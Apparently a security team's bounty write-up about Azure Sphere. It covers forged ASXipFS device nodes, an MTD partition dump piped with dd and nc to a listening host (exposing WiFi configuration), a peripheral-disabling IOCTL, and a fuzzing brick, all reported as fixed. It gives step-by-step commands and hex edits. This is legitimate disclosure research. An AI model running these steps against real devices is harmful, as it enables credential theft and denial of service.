Skip to content
milvich-anvil edited this page Sep 25, 2020 · 17 revisions

These are the issues we had identified. Other participants in MS Closed Bounty program had also identified this issues and MS has issued a number of security fixes:

ASXipFS Device Nodes

The most significant issue we found (as several other groups also found) was the ability to create device entries in the ASXipFS file system. Since this file system is used to package up applications, it is possible to create an application image with device entries owned by the application. Since the file permissions are overridden at mount time, the app will only have read permission to the device entry.

POC

To demonstrate this issue we manually modified an ASXipFS file system and changed the inode entries for regular files into device entries. Using our testing tool with an embedded busybox application we performed the following:

  1. Create an app root with regular files standing in for the dev entries:
> mkdir dev
> cd dev
> touch mtd0
> touch mtd1
...

We ended up with an app root structure:

> tree
.
├── app_manifest.json
├── bin
│   ├── app
│   └── busybox
└── dev
    ├── mem
    ├── mtd0
    ├── mtd1
    ├── mtdblock0
    └── mtdblock1
  1. Build a disk image using the azpshere CLI:
> azsphere image-package pack-application -i ./approot -x ./bin/busybox -o main.imagepackage -s 5 -h sample_hardware.json
Azure Sphere Utility version 20.4.10.6179
Copyright (C) Microsoft Corporation. All rights reserved.

Start time (UTC): Thursday, 24 September 2020 17:34:29
Command completed in 00:00:01.1600557.
  1. Modify the built image with a hex editor and convert the regular files into device files. We can figure out the changes we need to make by looking at the get_asxipfs_inode() function from the open source Linux kernel for the azure sphere devices:
File: fs/asxipfs/asxipfs_inode.c
424: static struct inode *get_asxipfs_inode(struct super_block *sb,
425: 	const struct asxipfs_inode *asxipfs_inode, unsigned int offset)
426: {
427: 	struct inode *inode;
---
430: 
431: 	inode = iget_locked(sb, asxipfsino(asxipfs_inode, offset));
---
451: 
452: 	switch (asxipfs_inode->mode & S_IFMT) {
---
453: 	case S_IFREG:
---
462: 	case S_IFDIR:
---
466: 	case S_IFLNK:
---
510: 	default:
511: 		init_special_inode(inode, asxipfs_inode->mode,
512: 				old_decode_dev(asxipfs_inode->size));
513: 	}

We need to make two changes, change the asxipfs_inode->mode to one of the special inode type S_IFCHR, S_IFBLK, S_IFIFO, or S_IFSOCK. The second change is to encode the major and minor device numbers into the inode size field. The asxipfs_inode is defined as follows:

File: fs/asxipfs/asxipfs.h
65: #define ASXIPFS_MODE_WIDTH 16
66: #define ASXIPFS_UID_WIDTH 16
67: #define ASXIPFS_SIZE_WIDTH 24
68: #define ASXIPFS_GID_WIDTH 8
69: #define ASXIPFS_NAMELEN_WIDTH 6
70: #define ASXIPFS_OFFSET_WIDTH 26
--
81: struct asxipfs_inode {
82: 	__u32 mode:ASXIPFS_MODE_WIDTH, uid:ASXIPFS_UID_WIDTH;
83: 	/* SIZE for device files is i_rdev */
84: 	__u32 size:ASXIPFS_SIZE_WIDTH, gid:ASXIPFS_GID_WIDTH;
85: 	/* NAMELEN is the length of the file name, divided by 4 and
86:            rounded up.  (asxipfs doesn't support hard links.) */
87: 	/* OFFSET: For symlinks and non-empty regular files, this
88: 	   contains the offset (divided by 4) of the file data.  
89:        For non-empty directories it is the offset
90: 	   (divided by 4) of the inode of the first file in that
91: 	   directory.  For anything else, offset is zero. */
92: 	__u32 namelen:ASXIPFS_NAMELEN_WIDTH, offset:ASXIPFS_OFFSET_WIDTH;
93: };

The filename for an inode entry immediately follows the inode. So to make the changes to convert a regular file to a device entry we located the filename of the regular file, and modified the mode and size of the preceding node entry.

For example, the entry for mem:

| Mode | UID  | Size   | GID | Name Len | Offset | Name     |
+------+------+--------+-----+----------+--------+----------+
| A483 | 0000 | 000000 | 00  | 01       | 000000 | 6D656D00 |

Becomes (mode = S_IFCHR + file permissions, size = major device 1, minor device 1):

| Mode | UID  | Size   | GID | Name Len | Offset | Name     |
+------+------+--------+-----+----------+--------+----------+
| A423 | 0000 | 010100 | 00  | 01       | 000000 | 6D656D00 |

The following hex diff shows the changes we made to convert the regular files into device nodes:

  1. Sign the new image using package_tools signer:
> ~/package_tools/signer.py sign main_dev.imagepackage --out main_dev_signed.imagepackage
Detected existing signature, removing it!
Calculated Signature:
00000000: C4 55 1F C4 7D 0B F0 AC  B8 D9 6D 0B 6A CD C4 95  .U..}.....m.j...
00000010: 2A B3 ED 94 70 C6 B2 47  64 1C AB F1 7B CC EE C1  *...p..Gd...{...
00000020: 45 C3 F3 47 10 1D 21 12  BA 2F 08 1A DA 98 B8 1D  E..G..!../......
00000030: F0 38 6E F2 9E 85 FE 0F  26 90 D6 E2 77 EA 00 FB  .8n.....&...w...
  1. Side load the application:
> azsphere dev sl deploy -p main_dev_signed.imagepackage 
Deploying '/mnt/hgfs/MediaTek/Src/github/azsphereapp/main_dev_signed.imagepackage' to the attached device.
Image package '/mnt/hgfs/MediaTek/Src/github/azsphereapp/main_dev_signed.imagepackage' has been deployed to the attached device.
  1. Connect to the test app, launch busy box, figure out where the app has been mounted and list the dev directory:
> nc 192.168.35.2 4444

=========================================
Welcome to Anvil's Azure Sphere Test App!
=========================================
> busybox                                                         
ls -l /proc/self/exe
lrwxrwxrwx    1 1009     1009             0 Jan  1 23:25 /proc/self/exe -> /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/bin/busybox
ls -l /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/
crwxr-x--T    1 sys      1009        1,   1 Jan  1  1970 mem
crwxr-x--T    1 sys      1009       90,   0 Jan  1  1970 mtd0
crwxr-x--T    1 sys      1009       90,   1 Jan  1  1970 mtd1
brwxr-x--T    1 sys      1009       31,   0 Jan  1  1970 mtdblock0
brwxr-x--T    1 sys      1009       31,   1 Jan  1  1970 mtdblock1

Impact

Using this issue it is possible to create any device listed in /proc/devices:

cat /proc/devices
Character devices:
  1 mem
  4 ttyS
  5 /dev/tty
  5 /dev/console
  5 ttyprintk
 10 misc
 89 i2c
 90 mtd
153 spi
249 nullconsole
250 bsg
251 iio
252 rtc
253 pwm-chardev
254 gpiochip

Block devices:
259 blkext
 31 mtdblock

Since the application-manager overrides file permissions on mount, the app will only have read access to the devices. In addition, some devices such as mem require additional capability bits that apps do not have.

In order for an attacker to exploit this issue, they would need to be able to get a signed app image loaded onto the device. On a production device, that would mean the app image would need to be signed by Microsoft's azure sphere cloud service for the tenant associated with the device. We currently know of no way to do this and would be very challenging to exploit on a real device. Would require either an azure cloud bypass or an attack on the developer to create a malicious image before signing.

Currently it is only useful for someone attacking their own devices in development mode.

Dumping MTD/MTDBlock devices

We can use the embedded busybox within our testing app to dd the device and redirect the output via nc to our host.

  1. Listen for a connect back on our host:
> nc -l -p 6666 > mtd0
  1. Use dd to dump the mtdblock1 device and redirect it to the host using nc:
> nc 192.168.35.2 4444

=========================================
Welcome to Anvil's Azure Sphere Test App!
=========================================
> busybox
dd if=/mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtdblock1 | nc 192.168.35.1 6666
129+0 records in
128+0 records out
65536 bytes (64.0KB) copied, 0.043473 seconds, 1.4MB/s
  1. Process the dump file:
> hexdump -C mtdblock1 | head
00000000  09 00 00 00 f0 0f ff f7  6c 69 74 74 6c 65 66 73  |........littlefs|
00000010  2f e0 00 10 00 00 02 00  00 20 00 00 40 00 00 00  |/........ ..@...|
00000020  ff 00 00 00 ff ff ff 7f  fe 03 00 00 1c 10 00 1c  |................|
00000030  00 00 00 00 00 10 00 00  00 00 00 00 00 30 00 06  |.............0..|
00000040  c9 41 3c 30 10 05 75 69  64 5f 6d 61 70 00 30 1c  |.A<0..uid_map.0.|
00000050  23 37 62 61 30 35 66 66  37 2d 37 38 33 35 2d 34  |#7ba05ff7-7835-4|
00000060  62 32 36 2d 39 65 64 61  2d 32 39 61 66 30 63 36  |b26-9eda-29af0c6|
00000070  33 35 32 38 30 20 20 00  2c 09 00 00 00 0a 00 00  |35280  .,.......|
00000080  00 1c 00 00 0c e9 03 00  00 00 10 00 00 e9 03 00  |................|
00000090  00 00 30 00 06 c0 41 3c  00 08 26 31 36 38 39 64  |..0...A<..&1689d|

The mtdblock1 device is the configuration partition. We can read the uid_map and other configuration data, including data stored by other applications. Most notably, it is possible to read the WiFi configuration file, if it has been configured.

MTD Writing

We did not review the MTD IOCTL handlers, but other did and TALOS discovered a vulnerably in the Linux MTD IOCTL handlers that allowed for writing, even though the file permissions are read only:

Using the above vulnerability in combination with this issue allowing creation of device nodes on ASXipFS does allow for writing to MTD devices. Since the IOCTL to erase a page does check for write permissions, it is only possible to flip bits from 1 -> 0.

Recommendations/Fixes

Microsoft has addressed this issue in newer firmwares: https://techcommunity.microsoft.com/t5/internet-of-things/azure-sphere-20-07-security-enhancements/ba-p/1548973

Sideloading the same application above, now fails to list the device entries:

> nc 192.168.35.2 4444

=========================================
Welcome to Anvil's Azure Sphere Test App!
=========================================
> busybox
ls -l /proc/self/exe
lrwxrwxrwx    1 1007     1007             0 Jan  2 00:24 /proc/self/exe -> /mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/bin/busybox
ls -l //mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev
ls: //mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mem: Invalid argument
ls: //mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtd0: Invalid argument
ls: //mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtd1: Invalid argument
ls: //mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtdblock0: Invalid argument
ls: //mnt/apps/61ae5c57-98cd-4a0a-8b60-9509505c7617/dev/mtdblock1: Invalid argument

Peripheral Disable DoS

The Security Monitor driver's SECURITY_MONITOR_ENABLE_PERIPHERAL_DRIVER IOCTL is unauthenticated and any app can call it. Using this IOCTL it is possible to enable and disable peripherals. Peripherals are GPIO, PWM, INT, UART, SPI Master, I2C Master, ADC, and I2C slaves. When enabled an otherwise disabled peripheral, the peripheral device node is created in /dev.

Examples of enabling devices is in Devices. The created devices are owned by the root user. Under normal conditions when an app specifies a peripheral capability within the app_manifest.json file, the application-manager changes the permissions of devices to allow the app to use it. Since this did not happen, the created device entries are still owned by root and apps do not have access. So enabling devices is of little use, as the app cannot access them.

Disabling peripherals is a different matter. An app can disable a peripheral that another app is using. As an example, an app can disable the UART used by the SLIP connection:

> nc 192.168.35.2 4444

=========================================
Welcome to Anvil's Azure Sphere Test App!
=========================================
> peripheral 4 9 0
...

The SLIP connection to the host is now down until the device is reset.

Impact

A malicious app can disable peripherals of another app. This would not be trivial to exploit as an attacker would have to either get code execution and bypass all the anti-exploitation features of the Azure Sphere device, or somehow get a malicious app signed by Microsoft's azure sphere signing service and installed on production devices.

Image Metadata Parsing DoS

Our fuzzing of the image metadata appended to image/package uploaded to device does reliably end up in a condition where the device is rendered non-bootable and requires a recover operation in order to restore functionality, when running the 20.05 OS version.

We were unable to isolate a specific cause. The issue would only show itself when running the fuzzer from the start and after about 4xxx test cases the device would brick itself. For a template file we were using the blob returned by the Azure Sphere cloud to enable development mode on the device.



Impact

With physical access to the USB port on a device, we could brick the device. It is possible to recover by going through the recovery process to erase and re-flash the device.

Fixes

The newer version of the Azure Sphere OS appears to have fixed this issue and we have been unable to replicate the same issue using current firmware.